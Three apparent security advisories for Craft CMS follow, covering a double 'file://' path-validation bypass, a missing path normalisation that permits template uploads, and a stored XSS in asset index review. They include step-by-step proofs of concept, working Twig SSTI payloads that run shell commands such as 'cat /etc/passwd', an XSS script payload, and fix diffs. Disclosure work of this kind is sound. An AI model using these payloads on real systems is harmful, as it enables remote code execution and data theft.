Summary A vulnerability in CraftCMS allows an attacker to bypass local file system validation by utilizing a double file:// scheme (e.g., file://file:////). This enables the attacker to specify sensitive folders as the file system, leading to potential file overwriting through malicious uploads, unauthorized access to sensitive files, and, under certain conditions, remote code execution (RCE) via Server-Side Template Injection (SSTI) payloads.

Note that this will only work if you have an authenticated administrator account with allowAdminChanges enabled.

https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production

Details The issue lies in line 57 of cms/src/helpers/FileHelper.php, it only removes file:// on the most left. It is trivial to bypass this sanitization by adding 2 file://, e.g. file://file:////. php public static function normalizePath($path, $ds = DIRECTORYSEPARATOR): string { // Remove any file protocol wrappers $path = StringHelper::removeLeft($path, 'file://');

// Is this a UNC network share path? $isUnc = (strstartswith($path, '//') || strstartswith($path, '\\\\'));

// Normalize the path $path = parent::normalizePath($path, $ds);

// If it is UNC, add those slashes back in front if ($isUnc) { $path = $ds . $ds . ltrim($path, $ds); }

return $path; }

PoC 1. Sign in with an admin account and navigate to Settings → Assets, then create a new volume. 2. n the Asset Filesystem section, create a new file system and set the Base Path to file://file:////vendor. Without the prefix, the selection fails. !alt text With the double file:// prefix, the selection succeeds. !alt text 3. Access Assets from the left navigation bar, then upload a file into this volume. !alt text 4. The file is successfully uploaded and stored in the sensitive folder specified (e.g., /vendor). !alt text 5. SSTI payloads can be uploaded to /templates folder, though full code execution was not achieved during testing, some payloads were still successful, leading to sensitive information disclosure, among other potential impacts. !alt text

Impact Attackers who compromise an admin account(The admin user is not equal to the server owner) can exploit this flaw to assign sensitive folders as the base path of the filesystem. For instance, if the path /templates is specified (e.g., file://file:////var/www/html/templates), the attacker could upload SSTI payloads. While CraftCMS includes strict SSTI input sanitization, RCE may still be possible if the attacker can craft a valid payload, as seen in similar vulnerabilities (e.g., GHSA-44wr-rmwq-3phw).

Additionally, attackers can upload tampered files to overwrite critical web application files. By enabling public URLs for files in the specified filesystem, they can also retrieve sensitive files (e.g., configuration files from the local file system).

Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOWADMINCHANGES=true, there is still a potential security threat.

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOWADMINCHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

php / Returns an absolute path based on a source location or the current working directory. @param string $to The target path. @param string|null $from The source location. Defaults to the current working directory. @param string $ds the directory separator to be used in the normalized result. Defaults to DIRECTORYSEPARATOR. @return string @since 4.3.5 / public static function absolutePath( string $to, ?string $from = null, string $ds = DIRECTORYSEPARATOR, ): string { $to = static::normalizePath($to, $ds);

// Already absolute? if ( strstartswith($to, $ds) || pregmatch(sprintf('/^[A-Z]:%s/', pregquote($ds, '/')), $to) ) { return $to; }

if ($from === null) { $from = FileHelper::normalizePath(getcwd(), $ds); } else { $from = static::absolutePath($from, ds: $ds); }

return $from . $ds . $to; }

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

php / Returns whether the given file path is located within or above any system directories. @param string $path @return bool @since 5.4.2 / public function isSystemDir(string $path): bool // $path = "../templates/poc" { $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

foreach (Craft::$app->getPath()->getSystemPaths() as $dir) { $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates" if (strstartswith("$path/", "$dir/") || strstartswith("$dir/", "$path/")) { // if (false || false) return true; } }

return false; // We're here! }

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136: php / @param string $attribute @param array|null $params @param InlineValidator $validator @return void @since 4.4.6 / public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void { if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) { $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.')); } }

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

js {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.

PoC

1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start

sh mkdir craftcms && cd craftcms ddev config --project-type=craftcms --docroot=web --create-docroot ddev composer create -y --no-scripts "craftcms/craft" ddev craft install php craft setup/security-key ddev start

<img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3">

2. Create a new filesystem with base path ../templates/poc

<img width="1280" alt="filesystem" src="https://github.com/user-attachments/assets/fe78e023-bd51-4fc1-a22e-dcfa5baf266b">

Notice that the poc directory was created

<img width="167" alt="dir" src="https://github.com/user-attachments/assets/ccc45ce8-8555-4aae-ae48-320a630e7d79">

3. Create a new asset volume using the poc filesystem

<img width="1280" alt="asset" src="https://github.com/user-attachments/assets/b5530766-11b4-4e45-ae58-82f81fc2db00">

Upload a poc.ttml file with RCE template code

js {{'<pre>'}} {{ 88 }} {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}}

Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.

<img width="1280" alt="upload" src="https://github.com/user-attachments/assets/63e65beb-2ede-4141-85d2-e7d21cd4b8ad">

!ttml

4. Create a new route with template poc/poc.ttml

<img width="1280" alt="route" src="https://github.com/user-attachments/assets/b92d9340-b6a5-40d8-a8e8-ddab5cfc9f21">

5. This leads to Remote Code Execution on arbitrary route /

<img width="454" alt="rce" src="https://github.com/user-attachments/assets/19765f6c-1c28-4a0b-a89c-25f6f05ceca6">

Remediation

diff diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php index 0c2da884a7..ac23ce556a 100644 --- a/src/helpers/FileHelper.php +++ b/src/helpers/FileHelper.php @@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper $from = static::absolutePath($from, ds: $ds); }

- return $from . $ds . $to; + return FileHelper::normalizePath($from . $ds . $to); }

/

!fixnorm

See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:

diff diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php index efff2d2412..756f452f8b 100644 --- a/src/web/twig/Extension.php +++ b/src/web/twig/Extension.php @@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface new TwigFilter('lcfirst', [$this, 'lcfirstFilter']), new TwigFilter('literal', [$this, 'literalFilter']), new TwigFilter('map', [$this, 'mapFilter'], ['needsenvironment' => true]), + new TwigFilter('find', [$this, 'find'], ['needsenvironment' => true]), + new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATORLEFT]), + new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATORLEFT]), new TwigFilter('markdown', [$this, 'markdownFilter'], ['issafe' => ['html']]), new TwigFilter('md', [$this, 'markdownFilter'], ['issafe' => ['html']]), new TwigFilter('merge', [$this, 'mergeFilter']),

!fixssti

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOWADMINCHANGES=true, there is still a potential security threat (Remote Code Execution)

Summary XSS can be triggered by review volumes

PoC

1. Access setting tab 2. Create new assets 3. In assets name inject payload: "<script>alert(1337)</script> 4. Click Utilities tab 5. Choose all volumes, or volume trigger xss 6. Click Update asset indexes. 7. Wait to assets update success. 8. Progress complete. 9. Click on review button will trigger XSS

Root cause Function: index.php?p=admin/actions/asset-indexes/process-indexing-session&v=1680710595770 After loading completed, progess will load: "skippedEntries" and "missingEntries" These parameters is not yet filtered, I just tried "skippedEntries" but I think it will be work with "missingEntries"

My reponse: { "session": { "id": 10, "indexedVolumes": { "6": "\"<script>alert(1337)</script>" }, "totalEntries": 2235, "processedEntries": 2235, "cacheRemoteImages": true, "listEmptyFolders": false, "isCli": false, "actionRequired": true, "dateCreated": "Apr 5, 2023, 9:03:16 AM", "skippedEntries": [ "\"<script>alert(1337)</script>/assetpreviews/Image.php", "\"<script>alert(1337)</script>/assetpreviews/Pdf.php" ], "missingEntries": { "folders": [], "files": [] }, "processIfRootEmpty": false }, "skipDialog": false }

Resolved in https://github.com/craftcms/cms/commit/053d7119697e480ff81c5723bb9a33eaa49e0fc7